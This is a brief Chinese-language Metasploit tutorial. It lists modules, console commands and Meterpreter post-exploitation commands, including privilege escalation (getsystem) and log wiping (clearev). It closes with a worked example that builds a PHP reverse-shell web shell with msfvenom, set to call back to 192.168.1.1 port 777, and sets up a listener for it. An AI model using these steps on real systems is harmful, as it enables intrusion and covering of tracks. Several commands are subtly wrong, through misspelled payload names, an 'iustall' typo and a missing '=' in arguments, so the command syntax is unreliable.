一、简介
- Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
- 刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。、
二、使用
1、安装
- MSF默认在Kali上安装。但也支持安装在其他设备上,推荐使用Ubuntu安装:
apt iustall metasploit-framework
2、MSF核心模块
-
Exploits
——利用模块 -
Payloads
——攻击载荷漏洞- Payloads模块补充内容(可分为三个部分)
- Single :完整独立的Payload
- stager :用于建立连接和下载
- stage :Stager连接后下载的Payload
-
Auxiliary
——辅助模块 -
Post
——后渗透模块 -
Encoders
——编码模块 -
Evasion
——免杀模块 -
Nops
——空模块
3、MSF基本命令
msfconsole
:启动MSF终端banner
:展示bannerhelp /?
:查看帮助search
:搜索漏洞和利用数据库info
:查看模块信息use
:使用模块show options
:查看模块需要配置的参数set
:设置参数值run
/exploit
:执行模块back
: 返回主页面quit
/exit
: 退出MSF
4、Metepreter基本命令
命令 | 解释 |
---|---|
sysinfo | 查看目标机器系统信息 |
getuid | 查看用户 |
pwd / getlwd | 查看当前目录 |
cd / lcd | 切换目录 |
background | 把当前会话放到后台 |
session -i id | 切换到指定对话 |
session -k id | 杀死指定对话 |
shell | 进入目标主机shell |
upload file | 向目标主机上传文件 |
download file | 从目标主机下载文件 |
search | 在目标主机上搜索文件 |
execute | 在目标主机上执行程序 |
getsystem | 提权 |
clearev | 清除操作痕迹 |
5、使用案例
-
生成马儿(msfvenom:用于生成各种payload)——注意:后续需要MSF启动监听才有效
- PHP马,回连地址192.168.1.1,回连端口777,生成文件为shell.php
msfvenom -p php/metepreter/reverse-tcp lhost 192.168.1.1 lport 777 -o shell.php
-
MSF监听:
use exploit/multi/handler
set payload php/metepreter/reverse-tcp
注意:payload需要同马儿的一致set lhost 192.168.1.1
set lport 777
run
三、额外补充
1、渗透测试的术语
- 漏洞:Vulnerability
- 利用:Exploit
- 提权:Privailege Escalation
- 攻击载荷:Payload
- 免杀:Anti-AntiVirus
- 后渗透:Post-Exploitation
- 渗透测试:Penatration Test